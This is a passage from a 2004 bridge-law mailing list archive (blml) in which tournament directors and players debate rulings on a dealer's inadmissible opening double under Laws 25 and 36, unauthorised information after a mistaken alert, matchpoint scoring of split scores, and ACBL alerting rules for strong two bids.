specific alternative call together with words to the effect that >his first call was not the call he wanted to make he has indeed tried to >change his call. > >Regards Sven > > >_______________________________________________ >blml mailing list >blml@rtflb.org >http://www.amsterdamned.org/mailman/listinfo/blml -- John (MadDog) Probst| . ! -^- |AIM GLChienFou 451 Mile End Road | /|__. \:/ |BCLive ChienFou London E3 4PA | / @ __) -|- |john@asimere.com +44-(0)20 8983 5818 | /\ --^ | |www.asimere.com/~john From gesta@tiscali.co.uk Mon Mar 22 23:31:17 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Mon, 22 Mar 2004 23:31:17 -0000 Subject: [blml] Explain References: <000e01c40d85$158ed470$c5d2403e@multivisionoem> <002101c40f6a$91192230$1e81b6d4@LNV> <002f01c40fbc$d19e0940$b3e4403e@multivisionoem> Message-ID: <000601c410a6$8a8c42c0$03d4403e@multivisionoem> Grattan Endicott To: "BLML" Sent: Monday, March 22, 2004 12:46 PM Subject: Re: [blml] Explain > Grattan wrote: > > What I say is that > in 1987 we did not allow that merely wishing to keep > abreast of the auction was a demonstrable *bridge* > reason as ton now wishes to argue. > ~ Grattan ~ +=+ > > > It seems from your more recent post, below, that > nor did the committee disallow such a reason. > +=+ The WBFLC took no position on this in Monaco. It is for Directors and ACs to judge the application of 73F2 in their cases (and NBOs, Zones, are free to give such guidance on this as they choose). No guidance was issued in 1987. The words of the law were considered to require no gloss. In the production of the 1997 laws this aspect of 73F2 was not discussed, the question not having been raised. ~ G ~ +=+ From gesta@tiscali.co.uk Tue Mar 23 00:37:37 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Tue, 23 Mar 2004 00:37:37 -0000 Subject: [blml] X as first call References: <000001c40fef$48abb730$6900a8c0@WINXP> <015b01c40ffc$a61e37f0$4cf8f0c3@LNV> Message-ID: <000701c410a6$8b62cca0$03d4403e@multivisionoem> Grattan Endicott To: "BLML" Sent: Monday, March 22, 2004 12:46 PM Subject: Re: [blml] X as first call > > On 22 Mar 2004, at 11:54, WILLIAM SCHODER wrote: > > > Please remember that my position is based on a call that > > was NOT inadvertent. I thought it not necessary to mention > > that this determination must be made before applying either > > 25A or 36. It never passes to (to me odious) 25B. > > Why not? Because you find it odious? > > If we start by applying L25A, we don't reach the point > where we're directed to L36 until after we've covered > the part of L25B which allows LHO to condone a > substituted call. > +=+ The moment that the double is not both inadvertent and substituted as 25A allows, it is cancelled. Law 36 cancels it. If LHO calls Law 35B applies. 25B never comes into it. ~ Grattan ~ +=+ From svenpran@online.no Tue Mar 23 09:00:14 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 23 Mar 2004 10:00:14 +0100 Subject: [blml] X as first call In-Reply-To: <000701c410a6$8b62cca0$03d4403e@multivisionoem> Message-ID: <000001c410b5$428edb40$6900a8c0@WINXP> > gesta@tiscali.co.uk ........... > > If we start by applying L25A, we don't reach the point > > where we're directed to L36 until after we've covered > > the part of L25B which allows LHO to condone a > > substituted call. > > > +=3D+ The moment that the double is not both inadvertent > and substituted as 25A allows, it is cancelled. Law 36 cancels > it. If LHO calls Law 35B applies. 25B never comes into it. > ~ Grattan ~ +=3D+ This needs some clarification please: Dealer begins the auction with a double. He then discovers what he has done and attempts to change his call to = 1C. (Never mind at this stage of the discussion how the attempt was made) The Director judges that the double was not inadvertent so the change of call is not permitted under law 25A.=20 Are you saying that dealers LHO shall not be offered the option to = accept the (attempted) change to 1C as the opening bid under Law 25B1? LHO cannot accept an inadmissible call; there is no doubt about that. = But I find nothing in the laws that prevent LHO from accepting even an illegal although admissible call as the substitute for an inadmissible call? On = the contrary Law 25B2 seems to imply that the legality (including = admissibility) of the first call is irrelevant once LHO accepts the substitute?=20 Returning to how the attempt to change a call was made: The offender = named the call "1C" together with words to the effect that his double was not = his desired call. At least in Norway such an action automatically establish = a "change of call" case. Now for a moment consider the case when we rule that the first = inadmissible double was indeed inadvertent and allow a Law 25A change of call: Would = the offender then be bound by his remark naming 1C or would we allow him any (legal) call as his substitute for the inadvertent double? If we would have allowed him to substitute any call in spite of his 1C remark then apparently we have no reason to invoke Law 25B in the = original case because we do not consider that remark as the attempted substitute. But if we would have held him to his 1C remark I just cannot see how we = can skip Law 25B when we alternatively rule that the first call was not inadvertent? (Do I need to say that I would have held him to the call he indicated as = his substitute if I allow a Law25A change of call?) Regards Sven From hermandw@hdw.be Tue Mar 23 09:17:59 2004 From: hermandw@hdw.be (Herman De Wael) Date: Tue, 23 Mar 2004 10:17:59 +0100 Subject: [blml] a small matter of scoring In-Reply-To: References: Message-ID: <406000C7.4020200@hdw.be> Hello Petrus, Petrus Schuster OSB wrote: > It's nothing much, but: > Let's assume there is a split score of NS -100, EW +620. The other 99 > scores are all +140. > Now, applying L78A would give (on a top of 198) 100 matchpoints to all > NS pairs scoring +140, and equally 100 matchpoints to their opponents so > that NS and EW percentages for +140 add up to 101%. Yes, this is a well-known phenomenon. You don't need extreme examples to create it. When this was first encountered, there was no way around it, and when the players asked the director "how come the NS and EW scores are not complementary?", his only answer was "whyever should they be?". A few years ago, I tackled the problem and came up with a solution in which the scores at all normal tables ARE complementary. I believe I have explained how this works on blml before. Until now however, I have not been able to convince the powers that be (mostly Ton) that this method be adopted. He has so often in the past answered that there is no need for the scores to be complementary that he has begun believing that they shouldn't be. I say that if we have a way to get them to be complementary, then why should we NOT use that? > You would need seperate frequency sheets for NS and EW. > Does any software actually do this? yes. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From t.kooyman@worldonline.nl Tue Mar 23 09:28:49 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 23 Mar 2004 10:28:49 +0100 Subject: [blml] A question and a ruling References: <405f0bd0.4148.0@esatclear.ie> Message-ID: <004301c410b9$4e5712e0$13f8f0c3@LNV> Karel: > Question > > S x > H KQxxx > D Jx > C Qxxxx > > Bidding > > 1S (2H) 3S (3H) > P ?? > > You overcall 2H, pd bids 3H which is accepted. Can you now bid 4H's or 4C's > ?? Is there UI that pd intended to bid 4H's or maybe he didn't see the 3S's > and intended to bid 3H's or 2S's ?? I did read David's reply and agree. May be we could add a more general statement: When an irregular call or play is accepted it can't carry UI anymore. That seems to be in line with L16. I am not sure there can't be an exception, general statements are very dangerous in bridge. But as long as nobody comes up with it (Popper), I stick to it. ton > Case > > > S AT9x S Q > H AQ H xx > D AKxx D QJ9xxx > C T9x C Qxxx > > S Kxxxx > H Kxxx > D xx > C xx > > Bidding > > 2C(1) P 2NT P > 3H(2) P 4NT P > P(3) > > (1) normal big atifical 2C hand or weak diamonds > (2) Ogust reply weak points good suit. Alerted as a big hand natural > (3) Passes the RKC ask (they are playing 3041) > > 4NT makes - opps protest that there is UI which opener acted upon. Your call. I read David's answer and I don't understand it. I assume that West not just alerted but also did explain the 3H bid. In my opinion there is UI and East acted extremely unethical to pass the 4NT bid. Explain yourself David. ton From t.kooyman@worldonline.nl Tue Mar 23 10:21:05 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 23 Mar 2004 11:21:05 +0100 Subject: [blml] X as first call References: <000001c40fef$48abb730$6900a8c0@WINXP> <015b01c40ffc$a61e37f0$4cf8f0c3@LNV> <000701c410a6$8b62cca0$03d4403e@multivisionoem> Message-ID: <00b801c410c5$ec9a8d90$13f8f0c3@LNV> > > > +=+ The moment that the double is not both inadvertent > and substituted as 25A allows, it is cancelled. Law 36 cancels > it. If LHO calls Law 35B applies. 25B never comes into it. > ~ Grattan ~ +=+ > You mean 35A I assume. But it can't be both, applying L25A and L35A. ton From Robin.Barker@npl.co.uk Tue Mar 23 11:26:54 2004 From: Robin.Barker@npl.co.uk (Robin Barker) Date: Tue, 23 Mar 2004 11:26:54 -0000 Subject: [blml] Definitions of Conventions Message-ID: <533D273D4014D411AB1D00062938C4D904046837@hotel.npl.co.uk> Steve The only real source of approved definitions of conventions is given in the WBF guide to completion of convention cards which includes the WBF system booklet. Its 70+ pages of PDF! http://www.ecatsbridge.com/Documents/files/Convention%20Card%20Editors/G uide%20to%20Completion%20of%20WBF%20Convention%20Card.pdf Robin -----Original Message----- From: Steven Haver [mailto:sphboc@msn.com] Sent: 18 March 2004 22:50 To: blml@rtflb.org Subject: [blml] Definitions of Conventions IMO, there's a very good case for adopting, and posting, a set of definitions for the more-frequently encountered conventions. This would "spell out" the partnership understanding implied by the convention name; it could also document the conditions under which use of such understandings is permissible. Setting a clear standard for resolution of disputes arising out of alleged inadequate disclosure. Somewhat surprisingly, the ACBL website does not include any such section. Once an organization sees fit to adopt a "standard" convention card, with checkboxes for selected conventions, the definitions of such conventions become, in effect, part of the conditions of contest. I'm somewhat curious as to the practices of other NCBO's. _________________________________________________________________ Free up your inbox with MSN Hotmail Extra Storage. Multiple plans available. http://click.atdmt.com/AVE/go/onm00200362ave/direct/01/ _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml ------------------------------------------------------------------- This e-mail and any attachments may contain confidential and/or privileged material; it is for the intended addressee(s) only. If you are not a named addressee, you must not use, retain or disclose such information. NPL Management Ltd cannot guarantee that the e-mail or any attachments are free from viruses. NPL Management Ltd. Registered in England and Wales. No: 2937881 Registered Office: Teddington, Middlesex, United Kingdom TW11 0LW. ------------------------------------------------------------------- From t.kooyman@worldonline.nl Tue Mar 23 11:27:58 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 23 Mar 2004 12:27:58 +0100 Subject: [blml] A question and a ruling Message-ID: <011401c410c9$ec7e0810$13f8f0c3@LNV> In a previous answer on this subject I introduced the principle that: An irregular call or play does not carry UI if it is accepted by the opponents. And I invited you to find an example to contradict this statement. Let me give one that does support my statement. If you look at L28B and L53C an irregular call/play is not penalized but L16C2 does apply. So not penalizing is not the same as accepting it. A player who uses his turn to call or play does therewith not accept the irregular call or play. It is withdrawn. ton From Harald.Skjaran@bridgefederation.no Tue Mar 23 12:40:08 2004 From: Harald.Skjaran@bridgefederation.no (Skjaran, Harald) Date: Tue, 23 Mar 2004 13:40:08 +0100 Subject: SV: [blml] X as first call Message-ID: <89FD2BC254969C4297E82458BB279900FA3418@exchange.idrettsforbundet.no> [Grattan]=20 +=3D+ The moment that the double is not both inadvertent=20 and substituted as 25A allows, it is cancelled. Law 36 cancels=20 it. If LHO calls Law 35B applies. 25B never comes into it.=20 ~ Grattan ~ +=3D+ =20 [Ton] You mean 35A I assume. But it can't be both, applying L25A and L35A.=20 ton=20 [Harald] The call wasn't condoned, so law 35 can't apply. Harald Skj=E6ran _______________________________________________ blml mailing list blml@rtflb.org http://www.amsterdamned.org/mailman/listinfo/blml From blml@blakjak.com Tue Mar 23 12:47:45 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 23 Mar 2004 12:47:45 +0000 Subject: [blml] X as first call In-Reply-To: <000001c410b5$428edb40$6900a8c0@WINXP> References: <000701c410a6$8b62cca0$03d4403e@multivisionoem> <000001c410b5$428edb40$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> gesta@tiscali.co.uk >........... >> > If we start by applying L25A, we don't reach the point >> > where we're directed to L36 until after we've covered >> > the part of L25B which allows LHO to condone a >> > substituted call. >> > >> +=+ The moment that the double is not both inadvertent >> and substituted as 25A allows, it is cancelled. Law 36 cancels >> it. If LHO calls Law 35B applies. 25B never comes into it. >> ~ Grattan ~ +=+ > >This needs some clarification please: > >Dealer begins the auction with a double. > >He then discovers what he has done and attempts to change his call to 1C. >(Never mind at this stage of the discussion how the attempt was made) > >The Director judges that the double was not inadvertent so the change of >call is not permitted under law 25A. > >Are you saying that dealers LHO shall not be offered the option to accept >the (attempted) change to 1C as the opening bid under Law 25B1? I seem to remember a WBFLC minute that L25B shall not be used to correct an irregularity ... >LHO cannot accept an inadmissible call; there is no doubt about that. But I >find nothing in the laws that prevent LHO from accepting even an illegal >although admissible call as the substitute for an inadmissible call? On the >contrary Law 25B2 seems to imply that the legality (including admissibility) >of the first call is irrelevant once LHO accepts the substitute? > >Returning to how the attempt to change a call was made: The offender named >the call "1C" together with words to the effect that his double was not his >desired call. At least in Norway such an action automatically establish a >"change of call" case. That seems strange to me: better procedure surely is to find out what happened. If I decide to bid 1C this round, and over the expected action around the table decide to double next, then my brain executes a little dance, and I decide to double, reach into the box for a double card, take it out, put it on the table saying simultaneously "Damn: I meant to bid 1C" then I have not made a mechanical error. Since I am an honest person I shall describe my thought processes to the TD. Since I have not made a mechanical error, everywhere except Norway will rule that L25A does not apply: are you really telling us that Norway will treat it as L25A without investigating to find out whether it was inadvertent? >Now for a moment consider the case when we rule that the first inadmissible >double was indeed inadvertent and allow a Law 25A change of call: Would the >offender then be bound by his remark naming 1C or would we allow him any >(legal) call as his substitute for the inadvertent double? > >If we would have allowed him to substitute any call in spite of his 1C >remark then apparently we have no reason to invoke Law 25B in the original >case because we do not consider that remark as the attempted substitute. > >But if we would have held him to his 1C remark I just cannot see how we can >skip Law 25B when we alternatively rule that the first call was not >inadvertent? > >(Do I need to say that I would have held him to the call he indicated as his >substitute if I allow a Law25A change of call?) Yes, you do: if he is getting confused perhaps his excited utterance is so confused that it is an error as well: again I recommend finding out *all* the facts before ruling. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 23 12:51:19 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 23 Mar 2004 12:51:19 +0000 Subject: [blml] A question and a ruling In-Reply-To: <004301c410b9$4e5712e0$13f8f0c3@LNV> References: <405f0bd0.4148.0@esatclear.ie> <004301c410b9$4e5712e0$13f8f0c3@LNV> Message-ID: Ton Kooijman wrote >Karel: >> Bidding >> >> 2C(1) P 2NT P >> 3H(2) P 4NT P >> P(3) >> >> (1) normal big atifical 2C hand or weak diamonds >> (2) Ogust reply weak points good suit. Alerted as a big hand natural >> (3) Passes the RKC ask (they are playing 3041) >> >> 4NT makes - opps protest that there is UI which opener acted upon. Your >call. > > >I read David's answer and I don't understand it. I assume that West not just >alerted but also did explain the 3H bid. In my opinion there is UI and East >acted extremely unethical to pass the 4NT bid. Explain yourself David. According to note (2) 3H was "alerted as a big hand natural". West has 'a big hand natural'. Yes, of course it is UI that partner thinks you have what you have, but how does it affect the bidding? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From nancy@dressing.org Mon Mar 22 05:05:39 2004 From: nancy@dressing.org (Nancy T Dressing) Date: Mon, 22 Mar 2004 00:05:39 -0500 Subject: [blml] Strong opening 2 Bids Message-ID: <000801c40fcb$536badc0$6401a8c0@hare> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C40FA1.690541C0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Now that "old fashioned" strong 2 bids must be alerted, how do we handle = an "old fashioned strong 2 club" opening bid and the artificial 2NT = showing a bust hand? Which bid, if any, should be alerted? =20 Thanks, Nancy ------=_NextPart_000_0005_01C40FA1.690541C0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

Now that "old fashioned" strong 2 bids = must be=20 alerted, how do we handle an "old fashioned strong 2 club" opening = bid and=20 the artificial 2NT showing a bust hand?  Which bid, if any, should = be=20 alerted? 
Thanks,
Nancy
------=_NextPart_000_0005_01C40FA1.690541C0-- From t.kooyman@worldonline.nl Tue Mar 23 13:22:04 2004 From: t.kooyman@worldonline.nl (Ton Kooijman) Date: Tue, 23 Mar 2004 14:22:04 +0100 Subject: [blml] A question and a ruling References: <405f0bd0.4148.0@esatclear.ie> <004301c410b9$4e5712e0$13f8f0c3@LNV> Message-ID: <012d01c410d9$e1bd6550$13f8f0c3@LNV> > > Case > > > > > > S AT9x S Q > > H AQ H xx > > D AKxx D QJ9xxx > > C T9x C Qxxx > > > > S Kxxxx > > H Kxxx > > D xx > > C xx > > > > Bidding > > > > 2C(1) P 2NT P > > 3H(2) P 4NT P > > P(3) > > > > (1) normal big atifical 2C hand or weak diamonds > > (2) Ogust reply weak points good suit. Alerted as a big hand natural > > (3) Passes the RKC ask (they are playing 3041) > > > > 4NT makes - opps protest that there is UI which opener acted upon. Your > call. > > > I read David's answer and I don't understand it. I assume that West not just > alerted but also did explain the 3H bid. In my opinion there is UI and East > acted extremely unethical to pass the 4NT bid. Explain yourself David. > > ton East bids 2C with Q xx QJ9xxx Qxxx and after his rebid of 3H partner explains it as strong with hearts. Partner now bids 4NT asking for aces, keycards or whatever. And East passes. The lay out may be confusing but that is the case as I understand it David. ton From ereppert@rochester.rr.com Tue Mar 23 13:58:41 2004 From: ereppert@rochester.rr.com (Ed Reppert) Date: Tue, 23 Mar 2004 08:58:41 -0500 Subject: [blml] Strong opening 2 Bids In-Reply-To: <000801c40fcb$536badc0$6401a8c0@hare> Message-ID: <3122AA58-7CD2-11D8-BA7F-0030656F6826@rochester.rr.com> On Monday, Mar 22, 2004, at 00:05 US/Eastern, Nancy T Dressing wrote: > Now that "old fashioned" strong 2 bids must be alerted, how do we=20 > handle an "old fashioned strong 2 club"=A0opening bid and the = artificial=20 > 2NT showing a bust hand?=A0 Which bid, if any, should be alerted?=A0 You're in the ACBL, right? 2C strong and forcing is not alertable, whether it is natural or=20 artificial. All other meanings are alertable (Part VI, Item 4, Alert=20 Procedure). 2D, 2H, 2S are alertable if the meaning is *not* natural and weak (Part=20= VI, Item 5, Alert procedure). 2D response to artificial forcing 2C is not alertable, nor is 2NT=20 response to *natural* forcing 2C (Part VI, under Responses, Alert=20 Procedure). I infer that 2NT as an artificial negative to artificial=20 strong 2C is alertable. From svenpran@online.no Tue Mar 23 14:16:59 2004 From: svenpran@online.no (Sven Pran) Date: Tue, 23 Mar 2004 15:16:59 +0100 Subject: [blml] X as first call In-Reply-To: Message-ID: <000301c410e1$813d22d0$6900a8c0@WINXP> > David Stevenson ......... > >This needs some clarification please: > > > >Dealer begins the auction with a double. > > > >He then discovers what he has done and attempts to change his call to = 1C. > >(Never mind at this stage of the discussion how the attempt was made) > > > >The Director judges that the double was not inadvertent so the change = of > >call is not permitted under law 25A. > > > >Are you saying that dealers LHO shall not be offered the option to = accept > >the (attempted) change to 1C as the opening bid under Law 25B1? >=20 > I seem to remember a WBFLC minute that L25B shall not be used to > correct an irregularity ... In my own copy of the laws (which I have downloaded to my computer) I = have also systematized references to all WBFLC minutes known to me so it was = a quick job checking up on this. I found several minutes on L25B all (as = it seemed to me) apparently questioning the desirability of L25B as such, = not how L25B is or is not to be used. Frankly, as long as we do have L25B I see no reasons why LHO shall not generally enjoy the privilege of accepting or refusing a substituted = call which does not meet the criteria for acceptance under L25A? =20 > >LHO cannot accept an inadmissible call; there is no doubt about that. = But > I > >find nothing in the laws that prevent LHO from accepting even an = illegal > >although admissible call as the substitute for an inadmissible call? = On > the > >contrary Law 25B2 seems to imply that the legality (including > admissibility) > >of the first call is irrelevant once LHO accepts the substitute? > > > >Returning to how the attempt to change a call was made: The offender > named > >the call "1C" together with words to the effect that his double was = not > his > >desired call. At least in Norway such an action automatically = establish a > >"change of call" case. >=20 > That seems strange to me: better procedure surely is to find out = what > happened. If I decide to bid 1C this round, and over the expected > action around the table decide to double next, then my brain executes = a > little dance, and I decide to double, reach into the box for a double > card, take it out, put it on the table saying simultaneously "Damn: I > meant to bid 1C" then I have not made a mechanical error. Since I am = an > honest person I shall describe my thought processes to the TD. >=20 > Since I have not made a mechanical error, everywhere except Norway > will rule that L25A does not apply: are you really telling us that > Norway will treat it as L25A without investigating to find out whether > it was inadvertent? Did I write anything to give you this impression? That must have been an "inadvertent" mistake! Let me repeat: When a player issues two (different) calls in the same = turn, for instance by uttering "damn, I meant to bid 1C" just after placing a (different) bid card on the table we automatically rule a change of = call.=20 We then go straight to Law 25 where we first test the case against L25A. = If we find that the conditions in L25A is not satisfied we then proceed to L25B.=20 And as a result of testing the case against L25B we may in our case here = end up with L25B1 (LHO accepting the substitute call) or L25B2a (LHO not accepting the substitute call and the first call was an inadmissible double). In the latter case we are directed straight to Law 36. >=20 > >Now for a moment consider the case when we rule that the first > inadmissible > >double was indeed inadvertent and allow a Law 25A change of call: = Would > the > >offender then be bound by his remark naming 1C or would we allow him = any > >(legal) call as his substitute for the inadvertent double? > > > >If we would have allowed him to substitute any call in spite of his = 1C > >remark then apparently we have no reason to invoke Law 25B in the > original > >case because we do not consider that remark as the attempted = substitute. > > > >But if we would have held him to his 1C remark I just cannot see how = we > can > >skip Law 25B when we alternatively rule that the first call was not > >inadvertent? > > > >(Do I need to say that I would have held him to the call he indicated = as > his > >substitute if I allow a Law25A change of call?) >=20 > Yes, you do: if he is getting confused perhaps his excited = utterance > is so confused that it is an error as well: again I recommend finding > out *all* the facts before ruling. Please tell me precisely how to apply Law 25A: A player makes a call and then immediately makes another call in a way = that gives no doubt the first call was an inadvertent error.=20 My view is that the Director now shall allow the second call to stand = and the first call be completely ignored as never made. Shall the Director instead let the player consider and decide for a = third call to replace both the inadvertent first call and the immediately substituted call? I can understand and accept this if the player is = really exited and confused about the situation, but not as a general rule. (And please do not repeat that we must investigate what had really = happened. This is so obvious that I do not bother to emphasize it all the time). Regards Sven From blml@blakjak.com Tue Mar 23 14:55:38 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 23 Mar 2004 14:55:38 +0000 Subject: [blml] X as first call In-Reply-To: <000301c410e1$813d22d0$6900a8c0@WINXP> References: <000301c410e1$813d22d0$6900a8c0@WINXP> Message-ID: Sven Pran wrote >> David Stevenson >......... >> >This needs some clarification please: >> > >> >Dealer begins the auction with a double. >> > >> >He then discovers what he has done and attempts to change his call to 1C. >> >(Never mind at this stage of the discussion how the attempt was made) >> > >> >The Director judges that the double was not inadvertent so the change of >> >call is not permitted under law 25A. >> > >> >Are you saying that dealers LHO shall not be offered the option to accept >> >the (attempted) change to 1C as the opening bid under Law 25B1? >> >> I seem to remember a WBFLC minute that L25B shall not be used to >> correct an irregularity ... > >In my own copy of the laws (which I have downloaded to my computer) I have >also systematized references to all WBFLC minutes known to me so it was a >quick job checking up on this. I found several minutes on L25B all (as it >seemed to me) apparently questioning the desirability of L25B as such, not >how L25B is or is not to be used. > >Frankly, as long as we do have L25B I see no reasons why LHO shall not >generally enjoy the privilege of accepting or refusing a substituted call >which does not meet the criteria for acceptance under L25A? > >> >LHO cannot accept an inadmissible call; there is no doubt about that. But >> I >> >find nothing in the laws that prevent LHO from accepting even an illegal >> >although admissible call as the substitute for an inadmissible call? On >> the >> >contrary Law 25B2 seems to imply that the legality (including >> admissibility) >> >of the first call is irrelevant once LHO accepts the substitute? >> > >> >Returning to how the attempt to change a call was made: The offender >> named >> >the call "1C" together with words to the effect that his double was not >> his >> >desired call. At least in Norway such an action automatically establish a >> >"change of call" case. >> >> That seems strange to me: better procedure surely is to find out what >> happened. If I decide to bid 1C this round, and over the expected >> action around the table decide to double next, then my brain executes a >> little dance, and I decide to double, reach into the box for a double >> card, take it out, put it on the table saying simultaneously "Damn: I >> meant to bid 1C" then I have not made a mechanical error. Since I am an >> honest person I shall describe my thought processes to the TD. >> >> Since I have not made a mechanical error, everywhere except Norway >> will rule that L25A does not apply: are you really telling us that >> Norway will treat it as L25A without investigating to find out whether >> it was inadvertent? > >Did I write anything to give you this impression? That must have been an >"inadvertent" mistake! > >Let me repeat: When a player issues two (different) calls in the same turn, >for instance by uttering "damn, I meant to bid 1C" just after placing a >(different) bid card on the table we automatically rule a change of call. > >We then go straight to Law 25 where we first test the case against L25A. If >we find that the conditions in L25A is not satisfied we then proceed to >L25B. > >And as a result of testing the case against L25B we may in our case here end >up with L25B1 (LHO accepting the substitute call) or L25B2a (LHO not >accepting the substitute call and the first call was an inadmissible >double). In the latter case we are directed straight to Law 36. OK, I misunderstood. >> >Now for a moment consider the case when we rule that the first >> inadmissible >> >double was indeed inadvertent and allow a Law 25A change of call: Would >> the >> >offender then be bound by his remark naming 1C or would we allow him any >> >(legal) call as his substitute for the inadvertent double? >> > >> >If we would have allowed him to substitute any call in spite of his 1C >> >remark then apparently we have no reason to invoke Law 25B in the >> original >> >case because we do not consider that remark as the attempted substitute. >> > >> >But if we would have held him to his 1C remark I just cannot see how we >> can >> >skip Law 25B when we alternatively rule that the first call was not >> >inadvertent? >> > >> >(Do I need to say that I would have held him to the call he indicated as >> his >> >substitute if I allow a Law25A change of call?) >> >> Yes, you do: if he is getting confused perhaps his excited utterance >> is so confused that it is an error as well: again I recommend finding >> out *all* the facts before ruling. > >Please tell me precisely how to apply Law 25A: > >A player makes a call and then immediately makes another call in a way that >gives no doubt the first call was an inadvertent error. > >My view is that the Director now shall allow the second call to stand and >the first call be completely ignored as never made. > >Shall the Director instead let the player consider and decide for a third >call to replace both the inadvertent first call and the immediately >substituted call? I can understand and accept this if the player is really >exited and confused about the situation, but not as a general rule. > >(And please do not repeat that we must investigate what had really happened. >This is so obvious that I do not bother to emphasize it all the time). The problem is that when you say "we automatically ..." and "I would have held him to ..." it sounds very much as though in certain circumstances you do rule without full investigation. In both cases no doubt it is normal to do so-and-so but not always. For example, some players get in a panic when they make a mistake: if one such said "I did not mean that I meant to bid 4S: did I say 4S? I...." and an opponent interrupts him and calls the TD, then the TD might rule that the original call was not 2S as he put on the table, nor 4S as he said, but 3S. When a player says something at the time then it is evidence, quite strong evidence, but it is not everything. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue Mar 23 14:58:11 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 23 Mar 2004 14:58:11 +0000 Subject: [blml] A question and a ruling In-Reply-To: <012d01c410d9$e1bd6550$13f8f0c3@LNV> References: <405f0bd0.4148.0@esatclear.ie> <004301c410b9$4e5712e0$13f8f0c3@LNV> <012d01c410d9$e1bd6550$13f8f0c3@LNV> Message-ID: Ton Kooijman wrote >> > Case >> > >> > >> > S AT9x S Q >> > H AQ H xx >> > D AKxx D QJ9xxx >> > C T9x C Qxxx >> > >> > S Kxxxx >> > H Kxxx >> > D xx >> > C xx >> > >> > Bidding >> > >> > 2C(1) P 2NT P >> > 3H(2) P 4NT P >> > P(3) >> > >> > (1) normal big atifical 2C hand or weak diamonds >> > (2) Ogust reply weak points good suit. Alerted as a big hand natural >> > (3) Passes the RKC ask (they are playing 3041) >> > >> > 4NT makes - opps protest that there is UI which opener acted upon. Your >> call. >> >> >> I read David's answer and I don't understand it. I assume that West not >just >> alerted but also did explain the 3H bid. In my opinion there is UI and >East >> acted extremely unethical to pass the 4NT bid. Explain yourself David. >> >> ton > > >East bids 2C with Q xx QJ9xxx Qxxx and after his rebid of 3H partner >explains it as strong with hearts. > Partner now bids 4NT asking for aces, >keycards or whatever. >And East passes. The lay out may be confusing but that is the case as I >understand it David. Oh, I see. Well, I did not read it that way, but you may be right. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From Laval_Dubreuil@uqss.uquebec.ca Tue Mar 23 15:09:01 2004 From: Laval_Dubreuil@uqss.uquebec.ca (Laval Dubreuil) Date: Tue, 23 Mar 2004 10:09:01 -0500 Subject: [blml] X as first call In-Reply-To: Message-ID: >> The dealer put a X as first call.... When called, he told me: >> "I was just not there... I have a normal 1C opening." >> >> My ruling: >> >> Law 25A cannot be applied: he was disturbed and really >> intended the X and put the intended bid card on table. Everyone seemed to agree, so I figured "okay, fair enough." But on reflection I'm not so sure dealer's double was not inadvertent - "I was not there" certainly doesn't seem to me as if he *intended* to double. So why am I wrong? :-) _______________________________________________________________________ I was there and asked the offender. He told he realy thought about the X when taking this bid card and was just "not there...". IMHO, 25A does not apply. Laval Du Breuil From Frances.Hinden@Shell.com Tue Mar 23 15:52:29 2004 From: Frances.Hinden@Shell.com (Hinden, Frances SI-PXS) Date: Tue, 23 Mar 2004 15:52:29 -0000 Subject: [blml] A question and a ruling Message-ID: <63DD4A4F97E7DD4FBFDBEEB53EC0B3E1DB17D8@lonsc-s-031.europe.shell.com> -----Original Message----- From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org]On Behalf Of David Stevenson Sent: 23 March 2004 12:51 To: blml@rtflb.org Subject: Re: [blml] A question and a ruling Ton Kooijman wrote >Karel: >> Bidding >> >> 2C(1) P 2NT P >> 3H(2) P 4NT P >> P(3) >> >> (1) normal big atifical 2C hand or weak diamonds >> (2) Ogust reply weak points good suit. Alerted as a big hand natural >> (3) Passes the RKC ask (they are playing 3041) >> >> 4NT makes - opps protest that there is UI which opener acted upon. = Your >call. > > >I read David's answer and I don't understand it. I assume that West not = just >alerted but also did explain the 3H bid. In my opinion there is UI and = East >acted extremely unethical to pass the 4NT bid. Explain yourself David. According to note (2) 3H was "alerted as a big hand natural". West=20 has 'a big hand natural'. Yes, of course it is UI that partner thinks=20 you have what you have, but how does it affect the bidding? [Frances] The hand and auction were presented in a back-to-front manner. The 2C = opener was the weak hand. From adam@irvine.com Tue Mar 23 17:57:24 2004 From: adam@irvine.com (Adam Beneschan) Date: Tue, 23 Mar 2004 09:57:24 -0800 Subject: [blml] A question and a ruling In-Reply-To: Your message of "Mon, 22 Mar 2004 15:52:48 GMT." <405f0bd0.4148.0@esatclear.ie> Message-ID: <200403231757.JAA28201@mailhub.irvine.com> Karel wrote: > Question > > S x > H KQxxx > D Jx > C Qxxxx > > Bidding > > 1S (2H) 3S (3H) > P ?? > > You overcall 2H, pd bids 3H which is accepted. 